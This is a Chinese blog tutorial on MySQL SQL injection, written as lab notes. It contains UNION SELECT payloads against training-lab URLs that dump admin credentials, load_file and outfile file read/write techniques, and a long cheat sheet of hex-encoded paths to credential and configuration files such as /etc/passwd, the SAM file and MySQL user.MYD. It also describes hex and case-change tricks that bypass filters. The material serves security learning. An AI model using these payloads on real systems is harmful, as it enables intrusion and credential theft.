安全 SQL注入 WEB漏洞—SQL注入之MySQL注入 Yatming的博客 2025-05-20 2023-06-17 WEB漏洞—SQL注入之MySQL注入 首先要知道的是,root用户和普通用户看到的数据是不一样,如果SQL注入成功之后得到的是root用户的权限那么就可以实现跨库查询,也就是如果当前是在A数据库,可以跨库访问B数据库的内容。
在进行跨库注入的时候,如果查询到的表名信息是admin,那么这个时候就需要注意了因为大多数数据库中都有admin这个表,那么进行注入的时候就需要加上一个条件,这个条件就是指定目标数据库的admin表,例如:
http://219.153.49.228:48354/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from Information_schema.columns where table_name=’StormGroup_member’ and table_schema=目标网站 【这里用的是墨者学院的那个注入路径,这里主要讲的是一个思路】
那么查询列名要加条件,查询列名下的数据自然也需要加上条件,同样用墨者学院的例子举例:
http://124.70.64.48:47395/new_list.php?id=-1 union select 1,name,password,4 from mozhe.admin
这里就是单独查询来自于mozhe这个表下的admin这列中的name和password数据
文件读写操作
load_file(); 读取函数
into outfile 或 into dumpfile : 导出函数【写入】
一般读或者写的时候的斜杠,要用右斜杠【/】而不要用左斜杠【\】,原因是会被转义,就想编程语言中的【\n】是换行的意思
读文件:
写文件:
这里我测试失败,显示为NULL,了不知道什么原因
这里说明解决方法,在mysql的配置文件【my.ini】,中的【mysqld】内加入:secure_file_priv=
做完这些之后,重启数据库就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20) 2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) 上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码. 3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录 4、/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件 5、c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf 查看WINDOWS系统apache文件 6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息. 7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机 8、d:\APACHE\Apache2\conf\httpd.conf 9、C:\Program Files\mysql\my.ini 10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径 11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件 12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看 13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上 14 、/usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE虚拟主机查看 15、 /etc/sysconfig/iptables 本看防火墙策略 16 、 /usr/local/app/php5 b/php.ini PHP 的相当设置 17 、/etc/my.cnf MYSQL的配置文件 18、 /etc/redhat-release 红帽子的系统版本 19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码 20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP. 21、/usr/local/app/php5 b/php.ini //PHP相关设置 22、/usr/local/app/apache2/conf/extratpd-vhosts.conf //虚拟网站设置 23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini 24、c:\windows\my.ini 25、/etc/issue 显示Linux核心的发行版本信息 26、/etc/ftpuser 27、查看LINUX用户下的操作记录文件.bash_history 或 .bash_profile 28、/etc/ssh/ssh_config /etc/httpd/logs/error_log /etc/httpd/logs/error.log /etc/httpd/logs/access_log /etc/httpd/logs/access.log /var/log/apache/error_log /var/log/apache/error.log /var/log/apache/access_log /var/log/apache/access.log /var/log/apache2/error_log /var/log/apache2/error.log /var/log/apache2/access_log /var/log/apache2/access.log /var/www/logs/error_log /var/www/logs/error.log /var/www/logs/access_log /var/www/logs/access.log /usr/local/apache/logs/error_log /usr/local/apache/logs/error.log /usr/local/apache/logs/access_log /usr/local/apache/logs/access.log /var/log/error_log /var/log/error.log /var/log/access_log /var/log/access.log /etc/mail/access /etc/my.cnf /var/run/utmp /var/log/wtmp ../../../../../../../../../../var/log/httpd/access_log ../../../../../../../../../../var/log/httpd/error_log ../apache/logs/error.log ../apache/logs/access.log ../../apache/logs/error.log ../../apache/logs/access.log ../../../apache/logs/error.log ../../../apache/logs/access.log ../../../../../../../../../../etc/httpd/logs/acces_log ../../../../../../../../../../etc/httpd/logs/acces.log ../../../../../../../../../../etc/httpd/logs/error_log ../../../../../../../../../../etc/httpd/logs/error.log ../../../../../../../../../../var/www/logs/access_log ../../../../../../../../../../var/www/logs/access.log ../../../../../../../../../../usr/local/apache/logs/access_log ../../../../../../../../../../usr/local/apache/logs/access.log ../../../../../../../../../../var/log/apache/access_log ../../../../../../../../../../var/log/apache/access.log ../../../../../../../../../../var/log/access_log ../../../../../../../../../../var/www/logs/error_log ../../../../../../../../../../var/www/logs/error.log ../../../../../../../../../../usr/local/apache/logs/error_log ../../../../../../../../../../usr/local/apache/logs/error.log ../../../../../../../../../../var/log/apache/error_log ../../../../../../../../../../var/log/apache/error.log ../../../../../../../../../../var/log/access_log ../../../../../../../../../../var/log/error_log /var/log/httpd/access_log /var/log/httpd/error_log ../apache/logs/error.log ../apache/logs/access.log ../../apache/logs/error.log ../../apache/logs/access.log ../../../apache/logs/error.log ../../../apache/logs/access.log /etc/httpd/logs/acces_log /etc/httpd/logs/acces.log /etc/httpd/logs/error_log /etc/httpd/logs/error.log /var/www/logs/access_log /var/www/logs/access.log /usr/local/apache/logs/access_log /usr/local/apache/logs/access.log /var/log/apache/access_log /var/log/apache/access.log /var/log/access_log /var/www/logs/error_log /var/www/logs/error.log /usr/local/apache/logs/error_log /usr/local/apache/logs/error.log /var/log/apache/error_log /var/log/apache/error.log /var/log/access_log /var/log/error_log WINDOWS下: c:/boot.ini //查看系统版本 0x633A2F626F6F742E696E690D0A c:/windows/system32/boot.bat c:/windows/php.ini //php配置信息 0x633A2F77696E646F77732F7068702E696E69 c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码 0x633A2F77696E646F77732F6D792E696E69 c:/winnt/php.ini 0x633A2F77696E6E742F7068702E696E69 c:/winnt/my.ini 0x633A2F77696E6E742F6D792E696E69 c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码 0x633A5C6D7973716C5C646174615C6D7973716C5C757365722E4D5944 c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码 0x633A5C50726F6772616D2046696C65735C5268696E6F536F66742E636F6D5C536572762D555C53657276554461656D6F6E2E696E69 c:\Program Files\Serv-U\ServUDaemon.ini 0x633A5C50726F6772616D2046696C65735C536572762D555C53657276554461656D6F6E2E696E69 c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件 c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码 c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此 c:\Program Files\RhinoSoft.com\ServUDaemon.exe C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif 文件 //存储了pcAnywhere的登陆密码 c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看 WINDOWS系统apache文件 0x633A5C50726F6772616D2046696C65735C4170616368652047726F75705C4170616368655C636F6E66205C68747470642E636F6E66 c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息. 0x633A2F526573696E2D332E302E31342F636F6E662F726573696E2E636F6E66 c:/Resin/conf/resin.conf 0x633A2F526573696E2F636F6E662F726573696E2E636F6E66 /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机 0x2F7573722F6C6F63616C2F726573696E2F636F6E662F726573696E2E636F6E66 d:\APACHE\Apache2\conf\httpd.conf 0x643A5C4150414348455C417061636865325C636F6E665C68747470642E636F6E66 C:\Program Files\mysql\my.ini 0x433A5C50726F6772616D2046696C65735C6D7973716C5C6D792E696E69 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置 0x633A5C77696E646F77735C73797374656D33325C696E65747372765C4D657461426173652E786D6C C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码 0x433A5C6D7973716C5C646174615C6D7973716C5C757365722E4D5944 LUNIX/UNIX下: /etc/passwd 0x2F6574632F706173737764 /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件 0x2F7573722F6C6F63616C2F6170702F617061636865322F636F6E662F68747470642E636F6E66 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 0x2F7573722F6C6F63616C2F6170702F617061636865322F636F6E662F65787472612F68747470642D76686F7374732E636F6E66 /usr/local/app/php5/lib/php.ini //PHP相关设置 0x2F7573722F6C6F63616C2F6170702F706870352F6C69622F7068702E696E69 /etc/sysconfig/iptables //从中得到防火墙规则策略 0x2F6574632F737973636F6E6669672F69707461626C657320 /etc/httpd/conf/httpd.conf // apache配置文件 0x2F6574632F68747470642F636F6E662F68747470642E636F6E66 /etc/rsyncd.conf //同步程序配置文件 0x2F6574632F7273796E63642E636F6E66 /etc/my.cnf //mysql的配置文件 0x2F6574632F6D792E636E66 /etc/redhat-release //系统版本 0x2F6574632F7265646861742D72656C65617365 /etc/issue 0x2F6574632F6973737565 /etc/issue.net 0x2F6574632F69737375652E6E6574 /usr/local/app/php5/lib/php.ini //PHP相关设置 0x2F7573722F6C6F63616C2F6170702F706870352F6C69622F7068702E696E69 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 0x2F7573722F6C6F63616C2F6170702F617061636865322F636F6E662F65787472612F68747470642D76686F7374732E636F6E66 /etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件 0x2F6574632F68747470642F636F6E662F68747470642E636F6E66 0x2F7573722F6C6F63616C2F61706368652F636F6E662F68747470642E636F6E66 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看 0x2F7573722F6C6F63616C2F726573696E2D332E302E32322F636F6E662F726573696E2E636F6E66 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上 0x2F7573722F6C6F63616C2F726573696E2D70726F2D332E302E32322F636F6E662F726573696E2E636F6E66 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看 0x2F7573722F6C6F63616C2F6170702F617061636865322F636F6E662F65787472612F68747470642D76686F7374732E636F6E66 /etc/sysconfig/iptables 查看防火墙策略 0x2F6574632F737973636F6E6669672F69707461626C6573 load_file(char(47)) 列出FreeBSD,Sunos系统根目录 replace(load_file(0x2F6574632F706173737764),0x3c,0x20) replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) 上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 "<" 替换成"空格" 返回的是网页.而无法查看到代码. 转载于:https://www.cnblogs.com/Loong716/p/9891152.html
路径获取常见方法:报错显示,遗留文件,漏洞报错,平台配置文件,爆破等
报错显示 就是在网站url上或者其他地方,输入一些不存在的东西,使其报错
遗留文件 有的网站的以前的文件可能会被百度快照记录下来,这里就要用到谷歌语法,进行精确搜索,有一定的几率可以有所收货
漏洞报错 一种是知道目标的网站是用什么进行搭建的,比如说常见的系统织梦,帝国等等,然后直接百度搜索让其爆路径的方法,或者网站有其他的管理平台phpadmin之类的,然后就可以用谷歌进行搜索:phpadmin 报错
平台配置文件 这个就需要结合上面说的 “读取文件的操作” ,但是这种方法一般不太实用,这种是根据环境决定的,一般是用目标的网站的搭建的默认环境,然后访问对应的配置文件的默认路径。然后使其报错。
爆破 使用一些工具对网站进行扫描爆破
php中的magic_quotes_gpc是配置在php.ini中的,他的作用类似addslashes(),就是对输入的字符创中的字符进行转义处理。他可以对$_POST、$__GET以及进行数据库操作的sql进行转义处理,防止sql注入。
对于PHP magic_quotes_gpc=on的情况,
我们可以不对输入和输出数据库的字符串数据作
addslashes()和stripslashes()的操作,数据也会正常显示。
如果此时你对输入的数据作了addslashes()处理, 那么在输出的时候就必须使用stripslashes()去掉多余的反斜杠。
对于PHP magic_quotes_gpc=off 的情况
必须使用addslashes()对输入数据进行处理,但并不需要使用stripslashes()格式化输出 因为addslashes()并未将反斜杠一起写入数据库,只是帮助mysql完成了sql语句的执行。
程序中可以通过get_magic_quotes_gpc来获取magic_quotes_gpc环境变量的值,从而判断是否使用addslashes()和stripslashes()
addslashes – 使用反斜线引用字符串
描述 string addslashes ( string str)
返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(’)、双引号(”)、反斜线(’’)与 NUL(NULL 字符)
stripslashes – 函数删除由 addslashes() 函数添加的反斜杠。
描述 string addslashes ( string str)
返回字符串,该函数可用于清理从数据库中或者从 HTML 表单中取回的数据
这里找不到这个魔术引号了,是因为php5.4移除了这个功能
开启魔术引号之后
可以看到我输入的反斜杠,被改成了两条。这样明显不能查到数据
使用 “小葵工具”,然后用HEX编码的形式进行替换
自带防御:魔术引号
这种自带的魔术引号,一般是用在文件读写的方面,一般的SQL注入是不用写 “单引号” 或者 “斜杠” 的,而且魔术引号是可以用 “HEX” 编码进行绕过的
内置函数【int】
用一个简单IF语句进行判断只要不是整数就报错,也就是:echo ‘ ni shi ge jj? ‘
自定义关键字
就是在SQL注入的时候,会有一些关键字,比如select、union、order by、and等等这些参数,那么这个时候我就可以对这些参数进行过滤
str_replace这个函数的意思是将括号中的 id接收到的select的值转换成fuck,下面的图就是结果。
如果要进行绕过的话,是需要看代码的严谨程度的。比如这里就可以用大写进行绕过。但是网站的过滤是不会这么轻松的,这里就是说明一个思路
WAF防护软件:安全狗,宝塔等
这些就是直接安装WAF软件,来达到防止攻击的效果,当然WAF防护软件,不止这两款,还有很多
低版本的数据库,这种情况不能说没有,只能说很少见了,一般低版本的数据库只能用暴力破解